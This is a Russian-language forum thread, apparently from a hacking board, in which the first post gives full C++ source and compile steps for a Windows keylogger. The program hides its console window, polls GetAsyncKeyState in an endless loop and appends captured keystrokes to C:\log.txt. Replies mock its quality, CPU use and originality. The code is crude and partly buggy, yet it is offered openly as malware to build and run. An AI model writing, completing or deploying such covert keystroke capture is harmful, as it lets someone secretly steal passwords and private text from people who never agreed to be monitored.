Кейлоггер на C++

Discussion in 'C/C++' started by letsz0ck3r, Nov 12, 2017. 636 просмотров

Loading...
  1. Apr 8, 2018
    В Душе Модератор

    letsz0ck3r
    643 сообщения
    268 симпатий
    1 год с нами
    [​IMG]

    Будем писать программу в функции которой будет входить чтение вводимых клавиш клавиатуры и запись их в текстовый файл.

    Для работы нам понадобится текстовый файл и компилятор C++

    Компилятор на ваш вкус, можете использовать VC++ или С++ Builder.

    Хотя их намного больше. Лично мне удобнее использовать IDE Clion от JetBrains, и компилятор MinGW.

    Для компиляции в VC++

    code:

    cl -GL C:\\путь\файл.cpp



    Для компиляции в С++ Builder

    code:

    bcc32.exe C:\\путь\файл.cpp



    Создадим текстовый файл(keylogger.txt)



    В нём пишем:

    code:

    #include <iostream>
    #include <windows.h>
    #include <winuser.h>

    using namespace std;

    int S (int key, char *files);
    void Hide();

    int S (int key, char *files)
    {
    if ( (key == 1) || (key == 2) )
    return 0;

    FILE *Save;
    Save = fopen(files, "a+");
    cout << key << endl;
    fprintf(Save, "%s", &key);
    fclose (Save);
    return 0;
    }

    void Hide()
    {
    HWND Hide;
    AllocConsole();
    Hide = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Hide,0);
    }

    int main()
    {
    Hide();
    char q;

    while (1)
    {
    for(q = 8; q <= 190; q++)
    {
    if (GetAsyncKeyState(q) == -32767)
    S (q,"C:\\log.txt");
    }
    }
    system ("PAUSE");
    return 0;
    }





    Дальше сохраняем это всё и меняем разрешение файла на cpp(keylogger.cpp)



    Компилировать будем на С++ Builder.

    Открываем "Командную строку"(Для тех кто не знает win+R пишем cmd и нажимаем Enter)

    Пишем bcc32.exe C:\\путь\keylogger.cpp



    У вас получится три файла keylogger.obj keylogger.tds и наш исполняемый файл keylogger.exe(два других можете удалить).

    Не большие объяснения что же мы написали:

    Использовали во первых GetAsyncKeyState

    определяет, является ли клавиша отпущенной или нажатой во время вызова функции и была ли клавиша нажата после предыдущего вызова GetAsyncKeyState.

    Для работы GetAsyncKeyState подключили #include <windows.h>



    Здесь мы :

    int S (int key, char *files)

    {

    if ( (key == 1) || (key == 2) )

    return 0;



    FILE *Save;

    Save = fopen(files, "a+");

    cout << key << endl;

    fprintf(Save, "%s", &key);

    fclose (Save);

    return 0;

    }

    открываем консоль и вводим значение cout << key << endl; , после чего записываем в файл.



    Что бы консоль не было видно использовали:

    void Hide()

    {

    HWND Hide;

    AllocConsole();

    Hide = FindWindowA("ConsoleWindowClass", NULL);

    ShowWindow(Hide,0);

    }



    Основное действие происходит уже не посредственно в:

    int main()

    {

    Hide();

    char q;

    while (1)

    {

    for(q = 8; q <= 190; q++)

    {

    if (GetAsyncKeyState(q) == -32767)

    S (q,"C:\\log.txt");

    }

    }

    system ("PAUSE");

    return 0;

    }

    где C:\\log.txt куда сохраняется лог.



    Естественно не все клавиши выводятся,для этого нужно дописывать к примеру:

    code:

    if (key == VK_TAB)
    fprintf(Save, "%s", "[TAB]");



    В общем старался как мог написать статью, если есть вопросы буду рад ответить.

    Цель статьи - не написание полноценного кейлоггера, а чтобы вы начали проникаться в мир программирования.
     
  2. 3000р До 07.07.18
  3. Apr 8, 2018
    Силиконовая грудь держит суку на плову....

    L0ner
    1,245 сообщений
    415 симпатий
    7 месяцев с нами
    ТЫ ШТО КОДИР
     
  4. Jul 11, 2018

    jalolja
    15 сообщений
    5 симпатий
    1 год с нами
    А можно вопрос? зачем перед тем как записывать в .txt мы оутпутим в консольку?
     
  5. Jul 11, 2018
    Unlock iPhone от iCloud

    pvolab
    Легенда
    1,715 сообщений
    679 симпатий
    1 год с нами
    Возьми свой код в тэг, чтобы удобно читать было и копировать, если кому то надо будет.
     
  6. В сети Max245
    Jul 11, 2018
    Лучшие аккаунты у меня в маркете

    Max245
    658 сообщений
    143 симпатии
    1 год с нами
    Не идеально, но для новичков подойдет
     
  7. Jul 11, 2018

    jalolja
    15 сообщений
    5 симпатий
    1 год с нами
    Вообще это скопипиздено с hpc статья 2009 года ГЫ
     
  8. Jul 12, 2018
    Услуги кодера С/С++

    Maksum1
    65 сообщений
    28 симпатий
    6 месяцев с нами
    Да бля бред но если новиок то норм)
     
  9. Jul 12, 2018

    manifest95
    49 сообщений
    8 симпатий
    28 дней с нами
    глаза режет, сделай в спойлере код, легче людям читать будет
     
  10. Jul 13, 2018
    Девчонка анимешница

    avel07
    65 сообщений
    11 симпатий
    9 месяцев с нами
    Вроде годно
     
  11. В сети Qualita
    Jul 13, 2018

    Qualita
    68 сообщений
    7 симпатий
    4 года с нами
    Это не кейлогер а фигня какая-то, + жрёт процессор сильно. Имхо полная хрень!

    Мда, сейчас бы в цикле while использовать GetAsyncKeyState :facepalm:
     
Top